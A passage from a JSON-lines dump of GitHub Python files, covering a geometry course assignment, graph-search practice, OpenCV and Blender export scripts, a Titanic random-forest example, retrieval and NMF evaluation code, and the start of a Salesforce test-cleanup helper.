segment):\r\n \"\"\"Compute the distance from the point to the line segment.\r\n Hint: Lecture note \"geometry cheat sheet\"\r\n\r\n Args:\r\n point: A tuple (x, y) of the coordinates of the point.\r\n segment: A tuple ((x1, y1), (x2, y2)) of coordinates indicating the endpoints of the segment.\r\n\r\n Return:\r\n Euclidean distance from the point to the line segment.\r\n \"\"\"\r\n\r\n\r\n # p = np.asarray(point)\r\n # l1 = np.asarray(segment[0])\r\n # l2 = np.asarray(segment[1])\r\n # d = np.abs(np.linalg.norm(np.cross(l2 - l1, l1 - p))/np.linalg.norm(l2 - l1))\r\n # cross = (np.cross(l2 - l1, l1 - p))\r\n # # if cross < 0:\r\n # # print('hello')\r\n \r\n # if cross > 0:\r\n # x1_dist = np.sqrt((segment[0][0] - point[0])**2 + (segment[0][1] - point[1])**2)\r\n # x2_dist = np.sqrt((segment[1][0] - point[0])**2 + (segment[1][1] - point[1])**2)\r\n # d = min(x1_dist, x2_dist)\r\n # print('hello')\r\n\r\n x = point[0]\r\n y = point[1]\r\n\r\n x1 = segment[0][0]\r\n y1 = segment[0][1]\r\n\r\n x2 = segment[1][0]\r\n y2 = segment[1][1]\r\n\r\n euclid = ((x2 - x1)**2 + (y2 - y1)**2)\r\n\r\n if euclid == 0:\r\n part1 = -1\r\n else:\r\n part1 = ((x - x1) * (x2 - x1) + (y - y1) * (y2 - y1)) / euclid\r\n \r\n if part1 > 1: \r\n part1 = 1 \r\n elif part1 < 0:\r\n part1 = 0\r\n\r\n d = np.sqrt((x1 + part1*(x2 - x1) - x)**2 + (y1 + part1*(y2 - y1) - y)**2)\r\n \r\n return d\r\n\r\ndef do_segments_intersect(segment1, segment2):\r\n \"\"\"Determine whether segment1 intersects segment2. \r\n We recommend implementing the above first, and drawing down and considering some examples.\r\n Lecture note \"geometry cheat sheet\" may also be handy.\r\n\r\n Args:\r\n segment1: A tuple of coordinates indicating the endpoints of segment1.\r\n segment2: A tuple of coordinates indicating the endpoints of segment2.\r\n\r\n Return:\r\n True if line segments intersect, False if not.\r\n \"\"\"\r\n #above function referenced from geekforgeeks\r\n #segments p1p2 and p3p4\r\n p1 = segment1[0]\r\n p2 = segment1[1]\r\n\r\n p3 = segment2[0]\r\n p4 = segment2[1]\r\n\r\n v13 = [p1[0] - p3[0], p1[1] - p3[1]]\r\n v23 = [p2[0] - p3[0], p2[1] - p3[1]]\r\n v43 = [p4[0] - p3[0], p4[1] - p3[1]]\r\n\r\n v21 = [p2[0] - p1[0], p2[1] - p1[1]]\r\n v31 = [p3[0] - p1[0], p3[1] - p1[1]]\r\n v41 = [p4[0] - p1[0], p4[1] - p1[1]]\r\n\r\n or1 = np.cross(v13, v43)\r\n or2 = np.cross(v23, v43)\r\n or3 = np.cross(v31, v21)\r\n or4 = np.cross(v41, v21)\r\n\r\n if ((or1 < 0 and or2 > 0) or (or1 > 0 and or2 < 0)) and ((or3 > 0 and or4 < 0) or (or3 < 0 and or4 > 0)):\r\n return True\r\n\r\n left_x_seg1 = min(p1[0], p2[0])\r\n right_x_seg1 = max(p1[0], p2[0])\r\n left_y_seg1 = min(p1[1], p2[1])\r\n right_y_seg1 = max(p1[1], p2[1])\r\n\r\n left_x_seg2 = min(p3[0], p4[0])\r\n right_x_seg2 = max(p3[0], p4[0])\r\n left_y_seg2 = min(p3[1], p4[1])\r\n right_y_seg2 = max(p3[1], p4[1])\r\n\r\n if (p1[0] <= right_x_seg2 and p1[0] >= left_x_seg2) and (p1[1] <= right_y_seg2 and p1[1] >= left_y_seg2) and or1 == 0:\r\n return True\r\n\r\n if (p2[0] <= right_x_seg2 and p2[0] >= left_x_seg2) and (p2[1] <= right_y_seg2 and p2[1] >= left_y_seg2) and or2 == 0:\r\n return True\r\n\r\n if (p3[0] <= right_x_seg1 and p3[0] >= left_x_seg1) and (p3[1] <= right_y_seg1 and p3[1] >= left_y_seg1) and or3 == 0:\r\n return True\r\n\r\n if (p4[0] <= right_x_seg1 and p4[0] >= left_x_seg1) and (p4[1] <= right_y_seg1 and p4[1] >= left_y_seg1) and or4 == 0:\r\n return True\r\n\r\n return False\r\n return None\r\n\r\ndef segment_distance(segment1, segment2):\r\n \"\"\"Compute the distance from segment1 to segment2. You will need `do_segments_intersect`.\r\n Hint: Distance of two line segments is the distance between the closest pair of points on both.\r\n\r\n Args:\r\n segment1: A tuple of coordinates indicating the endpoints of segment1.\r\n segment2: A tuple of coordinates indicating the endpoints of segment2.\r\n\r\n Return:\r\n Euclidean distance between the two line segments.\r\n \"\"\"\r\n if do_segments_intersect(segment1, segment2): return 0\r\n\r\n #else they are parallel so you can just calculate distance from endpoints\r\n\r\n d1 = point_segment_distance((segment1[0][0], segment1[0][1]), segment2)\r\n d2 = point_segment_distance((segment1[1][0], segment1[1][1]), segment2)\r\n d3 = point_segment_distance((segment2[0][0], segment2[0][1]), segment1)\r\n d4 = point_segment_distance((segment2[1][0], segment2[1][1]), segment1)\r\n\r\n return min(d1, d2, d3, d4)\r\n return -1\r\n\r\nif __name__ == '__main__':\r\n\r\n from geometry_test_data import walls, goals, window, alien_positions, alien_ball_truths, alien_horz_truths, \\\r\n alien_vert_truths, point_segment_distance_result, segment_distance_result, is_intersect_result\r\n\r\n # Here we first test your basic geometry implementation\r\n def test_point_segment_distance(points, segments, results):\r\n num_points = len(points)\r\n num_segments = len(segments)\r\n for i in range(num_points):\r\n p = points[i]\r\n for j in range(num_segments):\r\n seg = ((segments[j][0], segments[j][1]), (segments[j][2], segments[j][3]))\r\n cur_dist = point_segment_distance(p, seg)\r\n assert abs(cur_dist - results[i][j]) <= 10 ** -3, \\\r\n f'Expected distance between {points[i]} and segment {segments[j]} is {results[i][j]}, ' \\\r\n f'but get {cur_dist}'\r\n\r\n\r\n def test_do_segments_intersect(center: List[Tuple[int]], segments: List[Tuple[int]],\r\n result: List[List[List[bool]]]):\r\n for i in range(len(center)):\r\n for j, s in enumerate([(40, 0), (0, 40), (100, 0), (0, 100), (0, 120), (120, 0)]):\r\n for k in range(len(segments)):\r\n cx, cy = center[i]\r\n st = (cx + s[0], cy + s[1])\r\n ed = (cx - s[0], cy - s[1])\r\n a = (st, ed)\r\n b = ((segments[k][0], segments[k][1]), (segments[k][2], segments[k][3]))\r\n if do_segments_intersect(a, b) != result[i][j][k]:\r\n if result[i][j][k]:\r\n assert False, f'Intersection Expected between {a} and {b}.'\r\n if not result[i][j][k]:\r\n assert False, f'Intersection not expected between {a} and {b}.'\r\n\r\n\r\n def test_segment_distance(center: List[Tuple[int]], segments: List[Tuple[int]], result: List[List[float]]):\r\n for i in range(len(center)):\r\n for j, s in enumerate([(40, 0), (0, 40), (100, 0), (0, 100), (0, 120), (120, 0)]):\r\n for k in range(len(segments)):\r\n cx, cy = center[i]\r\n st = (cx + s[0], cy + s[1])\r\n ed = (cx - s[0], cy - s[1])\r\n a = (st, ed)\r\n b = ((segments[k][0], segments[k][1]), (segments[k][2], segments[k][3]))\r\n distance = segment_distance(a, b)\r\n assert abs(result[i][j][k] - distance) <= 10 ** -3, f'The distance between segment {a} and ' \\\r\n f'{b} is expected to be {result[i]}, but your' \\\r\n f'result is {distance}'\r\n\r\n def test_helper(alien: Alien, position, truths):\r\n alien.set_alien_pos(position)\r\n config = alien.get_config()\r\n\r\n touch_wall_result = does_alien_touch_wall(alien, walls, 0)\r\n touch_goal_result = does_alien_touch_goal(alien, goals)\r\n in_window_result = is_alien_within_window(alien, window, 0)\r\n\r\n assert touch_wall_result == truths[\r\n 0], f'does_alien_touch_wall(alien, walls) with alien config {config} returns {touch_wall_result}, ' \\\r\n f'expected: {truths[0]}'\r\n assert touch_goal_result == truths[\r\n 1], f'does_alien_touch_goal(alien, goals) with alien config {config} returns {touch_goal_result}, ' \\\r\n f'expected: {truths[1]}'\r\n assert in_window_result == truths[\r\n 2], f'is_alien_within_window(alien, window) with alien config {config} returns {in_window_result}, ' \\\r\n f'expected: {truths[2]}'\r\n\r\n\r\n # Initialize Aliens and perform simple sanity check.\r\n alien_ball = Alien((30, 120), [40, 0, 40], [11, 25, 11], ('Horizontal', 'Ball', 'Vertical'), 'Ball', window)\r\n test_helper(alien_ball, alien_ball.get_centroid(), (False, False, True))\r\n\r\n alien_horz = Alien((30, 120), [40, 0, 40], [11, 25, 11], ('Horizontal', 'Ball', 'Vertical'), 'Horizontal', window)\r\n test_helper(alien_horz, alien_horz.get_centroid(), (False, False, True))\r\n\r\n alien_vert = Alien((30, 120), [40, 0, 40], [11, 25, 11], ('Horizontal', 'Ball', 'Vertical'), 'Vertical', window)\r\n test_helper(alien_vert, alien_vert.get_centroid(), (True, False, True))\r\n\r\n edge_horz_alien = Alien((50, 100), [100, 0, 100], [11, 25, 11], ('Horizontal', 'Ball', 'Vertical'), 'Horizontal',\r\n window)\r\n edge_vert_alien = Alien((200, 70), [120, 0, 120], [11, 25, 11], ('Horizontal', 'Ball', 'Vertical'), 'Vertical',\r\n window)\r\n\r\n centers = alien_positions\r\n segments = walls\r\n test_point_segment_distance(centers, segments, point_segment_distance_result)\r\n test_do_segments_intersect(centers, segments, is_intersect_result)\r\n test_segment_distance(centers, segments, segment_distance_result)\r\n\r\n for i in range(len(alien_positions)):\r\n test_helper(alien_ball, alien_positions[i], alien_ball_truths[i])\r\n test_helper(alien_horz, alien_positions[i], alien_horz_truths[i])\r\n test_helper(alien_vert, alien_positions[i], alien_vert_truths[i])\r\n\r\n # Edge case coincide line endpoints\r\n test_helper(edge_horz_alien, edge_horz_alien.get_centroid(), (True, False, False))\r\n test_helper(edge_horz_alien, (110, 55), (True, True, True))\r\n test_helper(edge_vert_alien, edge_vert_alien.get_centroid(), (True, False, True))\r\n\r\n print(\"Geometry tests passed\\n\")","repo_name":"dhruvv2/ML","sub_path":"mp3/geometry.py","file_name":"geometry.py","file_ext":"py","file_size_in_byte":13929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"18902962196","text":"#2021 03 15\n#DFS, BFS, Selection Sort 연습\nfrom collections import deque\n\ngraph = [\n [],\n [2,3,8],\n [1,7],\n [1,4,5],\n [3,5],\n [3,4],\n [7],\n [2,6,8],\n [1,7]\n]\n\ndef DFS(graph, start, visited):\n print(start, end=' ')\n visited[start] = True\n for i in graph[start]:\n if visited[i]==False:\n DFS(graph, i, visited)\n\ndef BFS(garph, start, visited):\n queue = deque([start])\n visited[start] = True\n while queue:\n v = queue.popleft()\n print(v, end=' ')\n for i in graph[v]:\n if visited[i]==False:\n queue.append(i)\n visited[i] = True\n \nvisited = [False]*9\nprint(\"Depth First Search\")\nDFS(graph, 1, visited)\nprint()\nvisited = [False]*9\nprint(\"\\nBreath First Search\")\nBFS(graph, 1, visited)\nprint(\"\\n\")\n\nArr = [7, 5, 9, 0, 3, 1, 6, 2, 4, 8]\nprint(\"Selection Sort\")\nprint(Arr)\nfor i in range(len(Arr)):\n min = i\n for j in range(1, len(Arr)):\n if Arr[min]>Arr[j]:\n min = j\n Arr[min], Arr[j] = Arr[j], Arr[min]\nprint(Arr)\nprint(\"\")","repo_name":"LeeWoojin-99/Algorithm","sub_path":"20210315 Daily Algorithm 1.py","file_name":"20210315 Daily Algorithm 1.py","file_ext":"py","file_size_in_byte":1082,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"4369890191","text":"#Import the OpenCV Library\r\nimport cv2\r\n\r\n\"\"\"\r\n cv::IMREAD_UNCHANGED = -1,\r\n cv::IMREAD_GRAYSCALE = 0,\r\n cv::IMREAD_COLOR = 1,\r\n\"\"\"\r\n# Read the image via imread/Arguments include directory and a flag value\r\nimage = cv2.imread(r'C:\\Users\\Ruchit Singh\\Desktop\\OpenCV\\test_images\\flower.jpg',-1)\r\n\r\n#Resizing the image/Arguments include the img,(window_width,window_height),additional args: (fx,fy)\r\nimage = cv2.resize(image,(0,0),fx= 0.5,fy=0.5)\r\n\r\n#Rotating the image/Arguments include the img,rotation specification\r\nimage = cv2.rotate(image,cv2.cv2.ROTATE_90_CLOCKWISE)\r\n\r\n#Write the new manipulated image to new img/Arguments include new file name and the manipulated img\r\ncv2.imwrite('Flower_edited.jpg',image)\r\n\r\n#imshow displays the image/Arguments include the window name and the img\r\nwindow_name = 'Test_Window'\r\ncv2.imshow(window_name,image)\r\n\r\n#Used to wait for a brief amount of seconds before exiting. If 0 is used, then it waits infinitely,until a key is pressed\r\ncv2.waitKey(0)\r\n\r\n#Destroys all the windows\r\ncv2.destroyAllWindows()","repo_name":"Ruchit13/OpenCV-Walkthrough","sub_path":"Image Manipulation 101.py","file_name":"Image Manipulation 101.py","file_ext":"py","file_size_in_byte":1047,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"4103905745","text":"import nox\n\n\n@nox.session(python=[\"3.7\", \"3.8\", \"3.9\", \"3.10\"], reuse_venv=True)\ndef tests(session):\n session.install(\"poetry\")\n session.run(\"poetry\", \"install\")\n session.run(\"coverage\", \"run\", \"-m\", \"pytest\")\n session.run(\"coverage\", \"report\")\n\n\n@nox.session(reuse_venv=True)\ndef lint(session):\n session.install(\"poetry\")\n session.run(\"poetry\", \"install\", \"--no-root\")\n dirs = (\"divo\", \"tests\")\n\n # flake8 options, see: https://black.readthedocs.io/en/stable/faq.html#why-are-flake8-s-e203-and-w503-violated\n session.run(\"flake8\", *dirs)\n\n session.run(\"black\", \"--check\", *dirs)\n\n session.run(\"mypy\", \"--strict\", *dirs)\n","repo_name":"spezifisch/divo","sub_path":"noxfile.py","file_name":"noxfile.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"54"} +{"seq_id":"10211843956","text":"bl_info = {\n\t\"name\": \"Unreal Datasmith format\",\n\t\"author\": \"Andrés Botero\",\n\t\"version\": (1, 0, 3),\n\t\"blender\": (2, 82, 0),\n\t\"location\": \"File > Export > Datasmith (.udatasmith)\",\n\t\"description\": \"Export scene as Datasmith asset\",\n\t\"warning\": \"\",\n\t\"category\": \"Import-Export\",\n\t\"support\": 'COMMUNITY',\n\t\"wiki_url\": \"https://github.com/0xafbf/blender-datasmith-export\",\n}\n\n\nif \"bpy\" in locals():\n\timport importlib\n\tif \"export_datasmith\" in locals():\n\t\timportlib.reload(export_datasmith)\n\nimport bpy\nfrom bpy.props import (\n\t\tStringProperty,\n\t\tBoolProperty,\n\t\tFloatProperty,\n\t\tEnumProperty,\n\t\t)\nfrom bpy_extras.io_utils import (\n\t\tImportHelper,\n\t\tExportHelper,\n\t\tpath_reference_mode,\n\t\taxis_conversion,\n\t\t)\n\nclass ExportDatasmith(bpy.types.Operator, ExportHelper):\n\t\"\"\"Write a Datasmith file\"\"\"\n\tbl_idname = \"export_scene.datasmith\"\n\tbl_label = \"Export Datasmith\"\n\tbl_options = {'PRESET'}\n\n\tfilename_ext = \".udatasmith\"\n\tfilter_glob: StringProperty(default=\"*.udatasmith\", options={'HIDDEN'})\n\n\n\texport_selected: BoolProperty(\n\t\t\tname=\"Selected objects only\",\n\t\t\tdescription=\"Exports only the selected objects\",\n\t\t\tdefault=False,\n\t\t)\n\texport_animations: BoolProperty(\n\t\t\tname=\"Export animations\",\n\t\t\tdescription=\"Export object animations (transforms only)\",\n\t\t\tdefault=True,\n\t\t)\n\tapply_modifiers: BoolProperty(\n\t\t\tname=\"Apply modifiers\",\n\t\t\tdescription=\"Applies geometry modifiers when exporting. \"\n\t\t\t\t\"(This may break mesh instancing)\",\n\t\t\tdefault=True,\n\t\t)\n\tminimal_export: BoolProperty(\n\t\t\tname=\"Skip meshes and textures\",\n\t\t\tdescription=\"Allows for faster exporting, useful if you only changed \"\n\t\t\t\t\"transforms or shaders\",\n\t\t\tdefault=False,\n\t\t)\n\tuse_gamma_hack: BoolProperty(\n\t\t\tname=\"Use sRGB gamma hack (UE 4.24 and below)\",\n\t\t\tdescription=\"Flags sRGB texture to use gamma as sRGB is not supported in old versions\",\n\t\t\tdefault=False,\n\t\t)\n\tcompatibility_mode: BoolProperty(\n\t\t\tname=\"Compatibility mode\",\n\t\t\tdescription=\"Enable this if you don't have the UE4 plugin, \"\n\t\t\t\t\"Improves material nodes support, but at a reduced quality\",\n\t\t\tdefault=False,\n\t\t)\n\twrite_metadata: BoolProperty(\n\t\t\tname=\"Write metadata\",\n\t\t\tdescription=\"Writes custom properties of objects and meshes as metadata.\"\n\t\t\t\t\"It may be useful to disable this when using certain addons\",\n\t\t\tdefault=True,\n\t\t)\n\tuse_logging: BoolProperty(\n\t\t\tname=\"Enable logging\",\n\t\t\tdescription=\"Enable logging to Window > System console\",\n\t\t\tdefault=False,\n\t\t)\n\tuse_profiling: BoolProperty(\n\t\t\tname=\"Enable profiling\",\n\t\t\tdescription=\"For development only, writes a python profile 'datasmith.prof'\",\n\t\t\tdefault=False,\n\t\t)\n\n\tdef execute(self, context):\n\t\tkeywords = self.as_keywords(ignore=(\"filter_glob\",))\n\t\tfrom . import export_datasmith\n\t\tprofile = keywords[\"use_profiling\"]\n\t\tif not profile:\n\t\t\treturn export_datasmith.save(context, **keywords)\n\t\telse:\n\t\t\timport cProfile\n\t\t\tpr = cProfile.Profile()\n\t\t\tpr.enable()\n\t\t\tresult = export_datasmith.save(context, **keywords)\n\t\t\tpr.disable()\n\t\t\tpath = \"datasmith.prof\"\n\t\t\tpr.dump_stats(path)\n\t\t\treturn result\n\ndef menu_func_export(self, context):\n\tself.layout.operator(ExportDatasmith.bl_idname, text=\"Datasmith (.udatasmith)\")\n\ndef register():\n\tbpy.utils.register_class(ExportDatasmith)\n\tbpy.types.TOPBAR_MT_file_export.append(menu_func_export)\n\ndef unregister():\n\tbpy.types.TOPBAR_MT_file_export.remove(menu_func_export)\n\tbpy.utils.unregister_class(ExportDatasmith)\n\n\nif __name__ == \"__main__\":\n\tregister()\n","repo_name":"0xafbf/blender-datasmith-export","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3413,"program_lang":"python","lang":"en","doc_type":"code","stars":364,"dataset":"github-code","pt":"54"} +{"seq_id":"71260298403","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr 16 17:19:45 2018\n\n@author: xuefei.yang\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\n\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\nfrom scipy.stats import chi2_contingency\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.ensemble import RandomForestClassifier\n\n# https://www.kaggle.com/sociopath00/random-forest-using-gridsearchcv\n\n\ndf = pd.read_csv('titanic.csv')\ndf.shape\ndf.head()\n\ndf.isnull().sum()\ndf.describe()\ndf.nunique()\n\n\ndf['Survived'].value_counts().plot(kind='bar')\n\n\ndf.columns\ncat = ['Pclass', 'Sex', 'Embarked']\nnum = ['Age', 'SibSp', 'Parch', 'Fare']\ntodo = ['Name', 'Ticket', 'Cabin']\n\n\n# categorical\ndf['Pclass'].value_counts().plot(kind='bar')\ndf['Sex'].value_counts().plot(kind='bar')\ndf['Embarked'].value_counts().plot(kind='bar')\n\n\n# numerical\n# https://machinelearningmastery.com/visualize-machine-learning-data-python-pandas/\ncorr = df[num].corr(method='pearson')\ncorr\n# plot correlation matrix\nplt.title('Correlation Matrix')\nsns.heatmap(corr, \n xticklabels=corr.columns.values,\n yticklabels=corr.columns.values, \n cmap=sns.diverging_palette(220, 10, as_cmap=True), \n square=True, vmin= -1, vmax= 1)\nplt.show()\n\n# Density Plot\ndf[num].plot(kind='density', subplots=True, layout=(2,2), sharex=False)\nplt.show()\n\n# Histogram\ndf[num].hist()\nplt.show()\n\n\n# pairplot\n#sns.pairplot(df[num], dropna=True)\n#sns.plt.show()\n\n\n#The Chi Square statistic is commonly used for testing relationships between \n#categorical variables. The null hypothesis of the Chi-Square test is that no \n#relationship exists on the categorical variables in the population; \n#they are independent. \nchi2_contingency(pd.crosstab(df['Survived'], df['Sex']))[1]\nchi2_contingency(pd.crosstab(df['Survived'], df['Pclass']))[1]\nchi2_contingency(pd.crosstab(df['Survived'], df['Embarked']))[1]\n\nsns.countplot(x='Survived', hue='Sex', data=df)\nsns.countplot(x='Survived', hue='Pclass', data=df)\nsns.countplot(x='Survived', hue='Embarked', data=df)\n\nsns.boxplot(x='Survived', y='Fare', data=df)\nsns.boxplot(x='Survived', y='Age', data=df)\nsns.boxplot(x='Survived', y='SibSp', data=df)\nsns.boxplot(x='Survived', y='Parch', data=df)\n\n\n# Missing value\ndf.isnull().sum()\n\n# replace na with median\ndf['Age'].describe()\nmed_age = np.nanmedian(df['Age'])\ndf['Age'] = df['Age'].fillna(med_age)\n\n#replace na with 'Unknown'\ndf['Cabin'].value_counts()\ndf['Cabin'] = df['Cabin'].fillna('Unknown')\n\n\n# replace na with mode\ndf['Embarked'].value_counts()\ndf['Embarked'] = df['Embarked'].fillna('S')\n\ndf.isnull().sum()\n\n\n\n# Feature Engineering\n\n\n# Model\nX = df[num+cat]\ny = df['Survived']\n\nX = pd.get_dummies(X)\nx_train, x_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=42)\n\n# Random Forest\nrfc=RandomForestClassifier(random_state=42)\nparam_grid = { \n 'n_estimators': [200, 500],\n 'max_features': ['auto', 'sqrt', 'log2'],\n 'max_depth' : [4,5,6,7,8],\n 'criterion' :['gini', 'entropy']\n}\n\nCV_rfc = GridSearchCV(estimator=rfc, param_grid=param_grid, cv= 5)\nCV_rfc.fit(x_train, y_train)\n\nCV_rfc.best_params_\n\nrfc1=RandomForestClassifier(random_state=42, max_features='auto', \n n_estimators= 200, max_depth=6, criterion='entropy')\nrfc1.fit(x_train, y_train)\npred = rfc1.predict(x_test)\naccuracy_score(y_test,pred)\n","repo_name":"XuefeiY/Machine-Learning-Notes","sub_path":"Random Forest/sample_code.py","file_name":"sample_code.py","file_ext":"py","file_size_in_byte":3455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"29339688760","text":"\"\"\" Eval cross-modal retrieval \"\"\"\nimport numpy as np\nimport sys\nimport logging\nfrom tabulate import tabulate\n\n\n\ndef parse_vec(line, dilter=\"\\t\"):\n \"\"\"\n parse_vec\n \"\"\"\n vec = [float(x) for x in line.split(dilter)]\n return np.array(vec)\n\n\ndef matmul(a, b, na):\n \"\"\"\n multi-thread matmul\n \"\"\"\n assert a.shape[0] % na == 0\n k = a.shape[0] // na\n lst = [a[i * k: (i + 1) * k] for i in range(na)]\n rlst = []\n \n for i, x in enumerate(lst):\n\n rlst.append(np.matmul(x, b))\n logging.info(i)\n del lst\n c = np.concatenate(rlst, 0)\n del rlst\n return c\n\n\ndef single_eval(score, label, na):\n \"\"\"\n score: n * m\n label: n * 5\n \"\"\"\n assert score.shape[0] % na == 0\n n, m = score.shape\n k = n // na\n lst = []\n\n for i in range(na):\n x, y = score[i * k: (i + 1) * k], label[i * k: (i + 1) * k]\n y = y + np.expand_dims(np.arange(k), 1) * m\n z = np.take(x, y)\n c = np.expand_dims(x, 2) > np.expand_dims(z, 1)\n lst.append(c.sum(1).min(1))\n del x, y, z\n ans_idx = np.concatenate(lst, 0)\n n = float(n)\n r1 = (ans_idx < 1).sum() / n\n r5 = (ans_idx < 5).sum() / n\n r10 = (ans_idx < 10).sum() / n\n mrr = (1.0 / (1.0 + ans_idx)).sum() / n\n mr = (r1 + r5 + r10) / 3.0\n return [r1, r5, r10, mr, mrr]\n\n\ndef read_single(filename):\n \"\"\"\n read_single\n \"\"\"\n text_lst, image_lst, idx_lst= [], [], []\n with open(filename) as f:\n for i in f:\n text_emb, img_emb, idx=i.strip(\"\\n\").split(\"\\t\")\n text_lst.append(parse_vec(text_emb, dilter=\" \"))\n image_lst.append(parse_vec(img_emb, dilter=\" \"))\n idx_lst.append(int(idx))\n text = np.array(text_lst, dtype=np.float32)\n image = np.array(image_lst, dtype=np.float32)\n del text_lst, image_lst\n text_label = [[i] for i in range(len(text))]\n image_label = [[i] for i in range(len(image))]\n text_label, image_label = np.array(text_label), np.array(image_label)\n return [text, image, text_label, image_label]\n\n\ndef eval_scores(text, image, text_label=None, image_label=None, na=10):\n \"\"\"\n eval_scores with text and image\n \"\"\"\n if text_label == []:\n text_label = [[i] for i in range(len(text))]\n if image_label == []:\n image_label = [[i] for i in range(len(image))]\n \n text_label, image_label = np.array(text_label), np.array(image_label)\n \n \n image = image.transpose()\n score = matmul(text, image, na)\n del text, image\n return single_eval(score, text_label, 10), single_eval(score.transpose(), image_label, 10)\n\n\nif __name__ == \"__main__\":\n text, image, text_label, image_label = read_single(sys.argv[1])\n image = image.transpose()\n num_text, num_image = len(text_label), len(image_label)\n logging.info(\"calculating score\")\n score = matmul(text, image, 10)\n table=[]\n del text, image\n\n t2i=single_eval(score, text_label, 10)\n table.append([\"Text2Image\"]+[round(j * 100, 2) for j in t2i][:4])\n i2t=single_eval(score.transpose(), image_label, 10)\n\n table.append([\"Image2Text\"]+[round(j * 100, 2) for j in i2t][:4])\n\n\n table.append([\"MeanRecall\"]+[round((t2i[i]+i2t[i])/2 * 100, 2) for i in range(len(t2i))][:4])\n print(tabulate(table, headers = [\"Name\", \"R@1\", \"R@5\", \"R@10\", \"meanRecall\"], tablefmt=\"github\", floatfmt=\".2f\"))\n\n","repo_name":"PaddlePaddle/ERNIE","sub_path":"Research/ERNIE-ViL2/eval_retri.py","file_name":"eval_retri.py","file_ext":"py","file_size_in_byte":3365,"program_lang":"python","lang":"en","doc_type":"code","stars":6044,"dataset":"github-code","pt":"54"} +{"seq_id":"45393011641","text":"import numpy as np\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom os import listdir\nimport nn_fac.nmf as nmf\nfrom matplotlib import pyplot as plt\nfrom numpy.matlib import repmat\n\n# Importing data from the ./textes folder (Bring Your Own Text)\ndata = []\nnames = listdir('textes/')\nfor name in names:\n with open('./textes/'+name, 'r') as file:\n data.append(file.read().replace('\\n', ' '))\n\nn = len(names)\n\n# Forming the word frequency matrix\nvectorizer = TfidfVectorizer(stop_words='english')\nY = vectorizer.fit_transform(data)\nwords = np.array(vectorizer.get_feature_names())\n#print(Y)\n# Sadly nn_fac does not support sparse matrices yet...\nY = Y.todense()\n# Normalizing FORBIDDEN, too much noise\n#Y = np.multiply(Y, repmat(1/np.sum(Y, 0), n, 1))\n\n# Factorizing Y with a rank-3 approximate NMF\nrank = 3\nout = nmf.nmf(Y, rank, verbose=True)\n\n# Top 20 words per component\nH = out[1]\ntop = []\ntopnum = 20\nindices = np.zeros([rank, topnum])\nfor r in range(rank):\n temp = np.argsort(H[r, :])\n temp = np.flip(temp)\n indices[r, :] = temp[:topnum]\n top.append(words[temp.tolist()])\n\n# plots\n# Data\nplt.figure()\nplt.imshow(Y[:, :30])\nplt.colorbar()\nxticks = words[100:130]\nplt.yticks(range(0, n), names)\nplt.xticks(range(0, 30), xticks.tolist(), rotation='vertical')\nplt.margins(0.2)\nplt.subplots_adjust(bottom=0.15)\n\n# Outputs\n# W clusters\nplt.figure()\nplt.imshow(out[0]/np.max(out[0]))\nplt.yticks(range(0, n), names)\nplt.colorbar()\n\n# H topics\nplt.figure()\nfor r in range(rank):\n plt.subplot(1, rank, r+1)\n hr = H[r, :]\n ind = indices[r, :]\n plt.plot(hr[ind.astype(int)])\n xticks = words[ind.astype(int)]\n plt.xticks(range(0, topnum), xticks.tolist(), rotation='vertical')\n #plt.margins(0.2)\n plt.subplots_adjust(bottom=0.35)\n\nplt.show()\n","repo_name":"cohenjer/ITWIST2020-codes","sub_path":"text_mining.py","file_name":"text_mining.py","file_ext":"py","file_size_in_byte":1794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"5195537335","text":"import numpy as np\n\n\nfiel_dir='C:\\\\Users\\\\Raytine\\\\mxnet\\\\code\\\\'\n\nl_train=np.loadtxt(fiel_dir+\"2019_01_14_15_24_44l_train.txt\",delimiter=' ')\nl_test=np.loadtxt(fiel_dir+\"2019_01_14_15_24_44l_test.txt\",delimiter=' ')\n\nl=l_train-l_test\n\nl=np.abs(l)\n\ns=np.sum(l,axis=1)\n\ns[s<=4.5]=1\ns[s>4.5]=0\n\nprint(len(s))\nprint(np.sum(s))\n\nprint('acc_rate:',np.sum(s)/len(s))","repo_name":"cszfz/mxnet","sub_path":"code/test8.py","file_name":"test8.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"72245388641","text":"import logging\n\nimport sfdc\n\ndef breakdown_test_objects(account_id: str, del_contacts: bool=True, del_acct: bool=True):\n\n # Assets\n logging.info('Deleting Assets...')\n soql = f\"SELECT Id FROM Asset WHERE AccountId = '{account_id}'\"\n sfdc.sfdc_client.inner_client.bulk.Asset.delete(create_payload_list(soql))\n\n # Subscription\n logging.info('Deleting Subscriptions...')\n soql = f\"SELECT Id FROM Subscription__c WHERE Account__c = '{account_id}'\"\n sfdc.sfdc_client.inner_client.bulk.Subscription__c.delete(create_payload_list(soql))\n\n # Opportunities\n logging.info('Deleting Opportunities...')\n soql = f\"SELECT Id FROM Opportunity WHERE AccountId = '{account_id}'\"\n sfdc.sfdc_client.inner_client.bulk.Opportunity.delete(create_payload_list(soql))\n\n if del_contacts:\n # Contacts\n logging.info('Deleting Contacts...')\n soql = f\"SELECT Id FROM Contact WHERE AccountId = '{account_id}'\"\n sfdc.sfdc_client.inner_client.bulk.Contact.delete(create_payload_list(soql))\n\n if del_acct and del_contacts:\n # Account\n logging.info('Deleting Account...')\n 